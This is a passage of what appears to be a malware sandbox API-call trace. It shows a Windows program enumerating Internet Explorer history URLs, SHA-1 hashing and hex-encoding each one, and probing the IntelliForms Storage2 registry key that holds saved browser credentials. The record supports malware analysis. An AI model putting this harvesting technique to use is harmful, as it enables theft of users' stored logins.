(lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/dwVc1-CZ_s8dDnb6LtW.doc", lpSrch="?") returned 0x0 [0097.388] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.388] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.388] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/dwVc1-CZ_s8dDnb6LtW.doc") returned 73 [0097.388] CryptHashData (hHash=0x4435a10, pbData=0x28c84e0, dwDataLen=0x94, dwFlags=0x0) returned 1 [0097.388] CryptGetHashParam (in: hHash=0x4435a10, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.388] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="86") returned 2 [0097.388] lstrlenW (lpString="") returned 0 [0097.388] lstrlenW (lpString="86") returned 2 [0097.389] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.389] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.389] lstrcatW (in: lpString1="", lpString2="86" | out: lpString1="86") returned="86" [0097.389] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3C") returned 2 [0097.389] lstrlenW (lpString="86") returned 2 [0097.389] lstrlenW (lpString="3C") returned 2 [0097.389] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c70e0 [0097.389] lstrcpyW (in: lpString1=0x28c70e0, lpString2="86" | out: lpString1="86") returned="86" [0097.389] lstrcatW (in: lpString1="86", lpString2="3C" | out: lpString1="863C") returned="863C" [0097.389] LocalFree (hMem=0x7187650) returned 0x0 [0097.389] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="73") returned 2 [0097.389] lstrlenW (lpString="863C") returned 4 [0097.389] lstrlenW (lpString="73") returned 2 [0097.389] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c39e0 [0097.389] lstrcpyW (in: lpString1=0x28c39e0, lpString2="863C" | out: lpString1="863C") returned="863C" [0097.389] lstrcatW (in: lpString1="863C", lpString2="73" | out: lpString1="863C73") returned="863C73" [0097.389] LocalFree (hMem=0x28c70e0) returned 0x0 [0097.389] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="98") returned 2 [0097.389] lstrlenW (lpString="863C73") returned 6 [0097.389] lstrlenW (lpString="98") returned 2 [0097.389] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c70e0 [0097.389] lstrcpyW (in: lpString1=0x28c70e0, lpString2="863C73" | out: lpString1="863C73") returned="863C73" [0097.389] lstrcatW (in: lpString1="863C73", lpString2="98" | out: lpString1="863C7398") returned="863C7398" [0097.389] LocalFree (hMem=0x28c39e0) returned 0x0 [0097.389] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F3") returned 2 [0097.389] lstrlenW (lpString="863C7398") returned 8 [0097.389] lstrlenW (lpString="F3") returned 2 [0097.389] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c39e0 [0097.389] lstrcpyW (in: lpString1=0x28c39e0, lpString2="863C7398" | out: lpString1="863C7398") returned="863C7398" [0097.389] lstrcatW (in: lpString1="863C7398", lpString2="F3" | out: lpString1="863C7398F3") returned="863C7398F3" [0097.389] LocalFree (hMem=0x28c70e0) returned 0x0 [0097.389] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1B") returned 2 [0097.389] lstrlenW (lpString="863C7398F3") returned 10 [0097.389] lstrlenW (lpString="1B") returned 2 [0097.389] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x432e380 [0097.389] lstrcpyW (in: lpString1=0x432e380, lpString2="863C7398F3" | out: lpString1="863C7398F3") returned="863C7398F3" [0097.390] lstrcatW (in: lpString1="863C7398F3", lpString2="1B" | out: lpString1="863C7398F31B") returned="863C7398F31B" [0097.390] LocalFree (hMem=0x28c39e0) returned 0x0 [0097.390] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="15") returned 2 [0097.390] lstrlenW (lpString="863C7398F31B") returned 12 [0097.390] lstrlenW (lpString="15") returned 2 [0097.390] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x432ec70 [0097.390] lstrcpyW (in: lpString1=0x432ec70, lpString2="863C7398F31B" | out: lpString1="863C7398F31B") returned="863C7398F31B" [0097.390] lstrcatW (in: lpString1="863C7398F31B", lpString2="15" | out: lpString1="863C7398F31B15") returned="863C7398F31B15" [0097.390] LocalFree (hMem=0x432e380) returned 0x0 [0097.390] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8A") returned 2 [0097.390] lstrlenW (lpString="863C7398F31B15") returned 14 [0097.390] lstrlenW (lpString="8A") returned 2 [0097.390] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x432e380 [0097.390] lstrcpyW (in: lpString1=0x432e380, lpString2="863C7398F31B15" | out: lpString1="863C7398F31B15") returned="863C7398F31B15" [0097.390] lstrcatW (in: lpString1="863C7398F31B15", lpString2="8A" | out: lpString1="863C7398F31B158A") returned="863C7398F31B158A" [0097.390] LocalFree (hMem=0x432ec70) returned 0x0 [0097.390] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="91") returned 2 [0097.390] lstrlenW (lpString="863C7398F31B158A") returned 16 [0097.390] lstrlenW (lpString="91") returned 2 [0097.390] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x432ec70 [0097.390] lstrcpyW (in: lpString1=0x432ec70, lpString2="863C7398F31B158A" | out: lpString1="863C7398F31B158A") returned="863C7398F31B158A" [0097.390] lstrcatW (in: lpString1="863C7398F31B158A", lpString2="91" | out: lpString1="863C7398F31B158A91") returned="863C7398F31B158A91" [0097.390] LocalFree (hMem=0x432e380) returned 0x0 [0097.390] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="20") returned 2 [0097.390] lstrlenW (lpString="863C7398F31B158A91") returned 18 [0097.390] lstrlenW (lpString="20") returned 2 [0097.390] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.390] lstrcpyW (in: lpString1=0x72912f0, lpString2="863C7398F31B158A91" | out: lpString1="863C7398F31B158A91") returned="863C7398F31B158A91" [0097.390] lstrcatW (in: lpString1="863C7398F31B158A91", lpString2="20" | out: lpString1="863C7398F31B158A9120") returned="863C7398F31B158A9120" [0097.390] LocalFree (hMem=0x432ec70) returned 0x0 [0097.390] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B7") returned 2 [0097.390] lstrlenW (lpString="863C7398F31B158A9120") returned 20 [0097.390] lstrlenW (lpString="B7") returned 2 [0097.390] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.390] lstrcpyW (in: lpString1=0x7290b70, lpString2="863C7398F31B158A9120" | out: lpString1="863C7398F31B158A9120") returned="863C7398F31B158A9120" [0097.390] lstrcatW (in: lpString1="863C7398F31B158A9120", lpString2="B7" | out: lpString1="863C7398F31B158A9120B7") returned="863C7398F31B158A9120B7" [0097.391] LocalFree (hMem=0x72912f0) returned 0x0 [0097.391] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6E") returned 2 [0097.391] lstrlenW (lpString="863C7398F31B158A9120B7") returned 22 [0097.391] lstrlenW (lpString="6E") returned 2 [0097.391] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.391] lstrcpyW (in: lpString1=0x72912f0, lpString2="863C7398F31B158A9120B7" | out: lpString1="863C7398F31B158A9120B7") returned="863C7398F31B158A9120B7" [0097.391] lstrcatW (in: lpString1="863C7398F31B158A9120B7", lpString2="6E" | out: lpString1="863C7398F31B158A9120B76E") returned="863C7398F31B158A9120B76E" [0097.391] LocalFree (hMem=0x7290b70) returned 0x0 [0097.391] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CE") returned 2 [0097.391] lstrlenW (lpString="863C7398F31B158A9120B76E") returned 24 [0097.391] lstrlenW (lpString="CE") returned 2 [0097.391] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.391] lstrcpyW (in: lpString1=0x7290b70, lpString2="863C7398F31B158A9120B76E" | out: lpString1="863C7398F31B158A9120B76E") returned="863C7398F31B158A9120B76E" [0097.391] lstrcatW (in: lpString1="863C7398F31B158A9120B76E", lpString2="CE" | out: lpString1="863C7398F31B158A9120B76ECE") returned="863C7398F31B158A9120B76ECE" [0097.391] LocalFree (hMem=0x72912f0) returned 0x0 [0097.391] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B9") returned 2 [0097.391] lstrlenW (lpString="863C7398F31B158A9120B76ECE") returned 26 [0097.391] lstrlenW (lpString="B9") returned 2 [0097.391] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.391] lstrcpyW (in: lpString1=0x2815670, lpString2="863C7398F31B158A9120B76ECE" | out: lpString1="863C7398F31B158A9120B76ECE") returned="863C7398F31B158A9120B76ECE" [0097.391] lstrcatW (in: lpString1="863C7398F31B158A9120B76ECE", lpString2="B9" | out: lpString1="863C7398F31B158A9120B76ECEB9") returned="863C7398F31B158A9120B76ECEB9" [0097.391] LocalFree (hMem=0x7290b70) returned 0x0 [0097.391] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E0") returned 2 [0097.391] lstrlenW (lpString="863C7398F31B158A9120B76ECEB9") returned 28 [0097.391] lstrlenW (lpString="E0") returned 2 [0097.391] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.391] lstrcpyW (in: lpString1=0x2815a80, lpString2="863C7398F31B158A9120B76ECEB9" | out: lpString1="863C7398F31B158A9120B76ECEB9") returned="863C7398F31B158A9120B76ECEB9" [0097.391] lstrcatW (in: lpString1="863C7398F31B158A9120B76ECEB9", lpString2="E0" | out: lpString1="863C7398F31B158A9120B76ECEB9E0") returned="863C7398F31B158A9120B76ECEB9E0" [0097.391] LocalFree (hMem=0x2815670) returned 0x0 [0097.391] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BC") returned 2 [0097.391] lstrlenW (lpString="863C7398F31B158A9120B76ECEB9E0") returned 30 [0097.391] lstrlenW (lpString="BC") returned 2 [0097.391] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.391] lstrcpyW (in: lpString1=0x2815670, lpString2="863C7398F31B158A9120B76ECEB9E0" | out: lpString1="863C7398F31B158A9120B76ECEB9E0") returned="863C7398F31B158A9120B76ECEB9E0" [0097.391] lstrcatW (in: lpString1="863C7398F31B158A9120B76ECEB9E0", lpString2="BC" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BC") returned="863C7398F31B158A9120B76ECEB9E0BC" [0097.391] LocalFree (hMem=0x2815a80) returned 0x0 [0097.391] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D1") returned 2 [0097.392] lstrlenW (lpString="863C7398F31B158A9120B76ECEB9E0BC") returned 32 [0097.392] lstrlenW (lpString="D1") returned 2 [0097.392] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.392] lstrcpyW (in: lpString1=0x2815a80, lpString2="863C7398F31B158A9120B76ECEB9E0BC" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BC") returned="863C7398F31B158A9120B76ECEB9E0BC" [0097.392] lstrcatW (in: lpString1="863C7398F31B158A9120B76ECEB9E0BC", lpString2="D1" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD1") returned="863C7398F31B158A9120B76ECEB9E0BCD1" [0097.392] LocalFree (hMem=0x2815670) returned 0x0 [0097.392] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7E") returned 2 [0097.392] lstrlenW (lpString="863C7398F31B158A9120B76ECEB9E0BCD1") returned 34 [0097.392] lstrlenW (lpString="7E") returned 2 [0097.392] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.392] lstrcpyW (in: lpString1=0x28e7670, lpString2="863C7398F31B158A9120B76ECEB9E0BCD1" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD1") returned="863C7398F31B158A9120B76ECEB9E0BCD1" [0097.392] lstrcatW (in: lpString1="863C7398F31B158A9120B76ECEB9E0BCD1", lpString2="7E" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E") returned="863C7398F31B158A9120B76ECEB9E0BCD17E" [0097.392] LocalFree (hMem=0x2815a80) returned 0x0 [0097.392] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="00") returned 2 [0097.392] lstrlenW (lpString="863C7398F31B158A9120B76ECEB9E0BCD17E") returned 36 [0097.392] lstrlenW (lpString="00") returned 2 [0097.392] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.392] lstrcpyW (in: lpString1=0x28e7910, lpString2="863C7398F31B158A9120B76ECEB9E0BCD17E" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E") returned="863C7398F31B158A9120B76ECEB9E0BCD17E" [0097.402] lstrcatW (in: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E", lpString2="00" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E00") returned="863C7398F31B158A9120B76ECEB9E0BCD17E00" [0097.402] LocalFree (hMem=0x28e7670) returned 0x0 [0097.403] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5A") returned 2 [0097.403] lstrlenW (lpString="863C7398F31B158A9120B76ECEB9E0BCD17E00") returned 38 [0097.403] lstrlenW (lpString="5A") returned 2 [0097.403] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.403] lstrcpyW (in: lpString1=0x28e7670, lpString2="863C7398F31B158A9120B76ECEB9E0BCD17E00" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E00") returned="863C7398F31B158A9120B76ECEB9E0BCD17E00" [0097.403] lstrcatW (in: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E00", lpString2="5A" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E005A") returned="863C7398F31B158A9120B76ECEB9E0BCD17E005A" [0097.403] LocalFree (hMem=0x28e7910) returned 0x0 [0097.403] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1C") returned 2 [0097.403] lstrlenW (lpString="863C7398F31B158A9120B76ECEB9E0BCD17E005A") returned 40 [0097.403] lstrlenW (lpString="1C") returned 2 [0097.403] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.403] lstrcpyW (in: lpString1=0x28e7910, lpString2="863C7398F31B158A9120B76ECEB9E0BCD17E005A" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E005A") returned="863C7398F31B158A9120B76ECEB9E0BCD17E005A" [0097.403] lstrcatW (in: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E005A", lpString2="1C" | out: lpString1="863C7398F31B158A9120B76ECEB9E0BCD17E005A1C") returned="863C7398F31B158A9120B76ECEB9E0BCD17E005A1C" [0097.403] LocalFree (hMem=0x28e7670) returned 0x0 [0097.403] CryptDestroyHash (hHash=0x4435a10) returned 1 [0097.403] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.403] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.403] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.403] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.403] LocalFree (hMem=0x28e7910) returned 0x0 [0097.403] CoTaskMemFree (pv=0x28c84e0) [0097.403] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.404] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/U35Aw3DHkP_ua.flv", lpSrch="?") returned 0x0 [0097.404] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.412] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.412] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Videos/hAaKCTy3e%20NLBRn/U35Aw3DHkP_ua.flv") returned 68 [0097.412] CryptHashData (hHash=0x4435a10, pbData=0x28c8760, dwDataLen=0x8a, dwFlags=0x0) returned 1 [0097.412] CryptGetHashParam (in: hHash=0x4435a10, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.412] CryptDestroyHash (hHash=0x4435a10) returned 1 [0097.412] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.412] CoTaskMemFree (pv=0x28c8760) [0097.412] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.412] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/t_6VwOesN9.gif", lpSrch="?") returned 0x0 [0097.412] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.413] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.413] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/t_6VwOesN9.gif") returned 66 [0097.413] CryptHashData (hHash=0x7202f10, pbData=0x7187650, dwDataLen=0x86, dwFlags=0x0) returned 1 [0097.413] CryptGetHashParam (in: hHash=0x7202f10, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.413] CryptDestroyHash (hHash=0x7202f10) returned 1 [0097.413] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.413] CoTaskMemFree (pv=0x7187650) [0097.413] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.413] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/q34lq_JbiJsP.doc", lpSrch="?") returned 0x0 [0097.413] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.414] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.414] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/q34lq_JbiJsP.doc") returned 52 [0097.414] CryptHashData (hHash=0x72033e0, pbData=0x71e6c20, dwDataLen=0x6a, dwFlags=0x0) returned 1 [0097.414] CryptGetHashParam (in: hHash=0x72033e0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.414] CryptDestroyHash (hHash=0x72033e0) returned 1 [0097.414] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.414] CoTaskMemFree (pv=0x71e6c20) [0097.414] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.414] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/rw9RSXhngk69iq0H.pptx", lpSrch="?") returned 0x0 [0097.414] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.414] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.415] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/rw9RSXhngk69iq0H.pptx") returned 57 [0097.415] CryptHashData (hHash=0x72033e0, pbData=0x71e6c20, dwDataLen=0x74, dwFlags=0x0) returned 1 [0097.415] CryptGetHashParam (in: hHash=0x72033e0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.415] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="27") returned 2 [0097.415] lstrlenW (lpString="") returned 0 [0097.415] lstrlenW (lpString="27") returned 2 [0097.415] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7187650 [0097.415] lstrcpyW (in: lpString1=0x7187650, lpString2="" | out: lpString1="") returned="" [0097.415] lstrcatW (in: lpString1="", lpString2="27" | out: lpString1="27") returned="27" [0097.415] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="01") returned 2 [0097.415] lstrlenW (lpString="27") returned 2 [0097.415] lstrlenW (lpString="01") returned 2 [0097.415] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8760 [0097.415] lstrcpyW (in: lpString1=0x28c8760, lpString2="27" | out: lpString1="27") returned="27" [0097.415] lstrcatW (in: lpString1="27", lpString2="01" | out: lpString1="2701") returned="2701" [0097.415] LocalFree (hMem=0x7187650) returned 0x0 [0097.415] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0E") returned 2 [0097.415] lstrlenW (lpString="2701") returned 4 [0097.415] lstrlenW (lpString="0E") returned 2 [0097.415] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c9f20 [0097.415] lstrcpyW (in: lpString1=0x28c9f20, lpString2="2701" | out: lpString1="2701") returned="2701" [0097.415] lstrcatW (in: lpString1="2701", lpString2="0E" | out: lpString1="27010E") returned="27010E" [0097.415] LocalFree (hMem=0x28c8760) returned 0x0 [0097.415] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="EF") returned 2 [0097.415] lstrlenW (lpString="27010E") returned 6 [0097.415] lstrlenW (lpString="EF") returned 2 [0097.415] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8760 [0097.415] lstrcpyW (in: lpString1=0x28c8760, lpString2="27010E" | out: lpString1="27010E") returned="27010E" [0097.415] lstrcatW (in: lpString1="27010E", lpString2="EF" | out: lpString1="27010EEF") returned="27010EEF" [0097.415] LocalFree (hMem=0x28c9f20) returned 0x0 [0097.415] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0097.415] lstrlenW (lpString="27010EEF") returned 8 [0097.415] lstrlenW (lpString="8F") returned 2 [0097.415] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c9f20 [0097.415] lstrcpyW (in: lpString1=0x28c9f20, lpString2="27010EEF" | out: lpString1="27010EEF") returned="27010EEF" [0097.415] lstrcatW (in: lpString1="27010EEF", lpString2="8F" | out: lpString1="27010EEF8F") returned="27010EEF8F" [0097.416] LocalFree (hMem=0x28c8760) returned 0x0 [0097.416] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="91") returned 2 [0097.416] lstrlenW (lpString="27010EEF8F") returned 10 [0097.416] lstrlenW (lpString="91") returned 2 [0097.416] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x432ec70 [0097.416] lstrcpyW (in: lpString1=0x432ec70, lpString2="27010EEF8F" | out: lpString1="27010EEF8F") returned="27010EEF8F" [0097.416] lstrcatW (in: lpString1="27010EEF8F", lpString2="91" | out: lpString1="27010EEF8F91") returned="27010EEF8F91" [0097.416] LocalFree (hMem=0x28c9f20) returned 0x0 [0097.416] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1F") returned 2 [0097.416] lstrlenW (lpString="27010EEF8F91") returned 12 [0097.416] lstrlenW (lpString="1F") returned 2 [0097.416] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x432e380 [0097.416] lstrcpyW (in: lpString1=0x432e380, lpString2="27010EEF8F91" | out: lpString1="27010EEF8F91") returned="27010EEF8F91" [0097.416] lstrcatW (in: lpString1="27010EEF8F91", lpString2="1F" | out: lpString1="27010EEF8F911F") returned="27010EEF8F911F" [0097.416] LocalFree (hMem=0x432ec70) returned 0x0 [0097.416] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0F") returned 2 [0097.416] lstrlenW (lpString="27010EEF8F911F") returned 14 [0097.416] lstrlenW (lpString="0F") returned 2 [0097.416] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x432ec70 [0097.416] lstrcpyW (in: lpString1=0x432ec70, lpString2="27010EEF8F911F" | out: lpString1="27010EEF8F911F") returned="27010EEF8F911F" [0097.416] lstrcatW (in: lpString1="27010EEF8F911F", lpString2="0F" | out: lpString1="27010EEF8F911F0F") returned="27010EEF8F911F0F" [0097.416] LocalFree (hMem=0x432e380) returned 0x0 [0097.416] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9B") returned 2 [0097.416] lstrlenW (lpString="27010EEF8F911F0F") returned 16 [0097.416] lstrlenW (lpString="9B") returned 2 [0097.416] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x432e380 [0097.416] lstrcpyW (in: lpString1=0x432e380, lpString2="27010EEF8F911F0F" | out: lpString1="27010EEF8F911F0F") returned="27010EEF8F911F0F" [0097.416] lstrcatW (in: lpString1="27010EEF8F911F0F", lpString2="9B" | out: lpString1="27010EEF8F911F0F9B") returned="27010EEF8F911F0F9B" [0097.416] LocalFree (hMem=0x432ec70) returned 0x0 [0097.416] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5C") returned 2 [0097.416] lstrlenW (lpString="27010EEF8F911F0F9B") returned 18 [0097.416] lstrlenW (lpString="5C") returned 2 [0097.416] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.416] lstrcpyW (in: lpString1=0x7290b70, lpString2="27010EEF8F911F0F9B" | out: lpString1="27010EEF8F911F0F9B") returned="27010EEF8F911F0F9B" [0097.416] lstrcatW 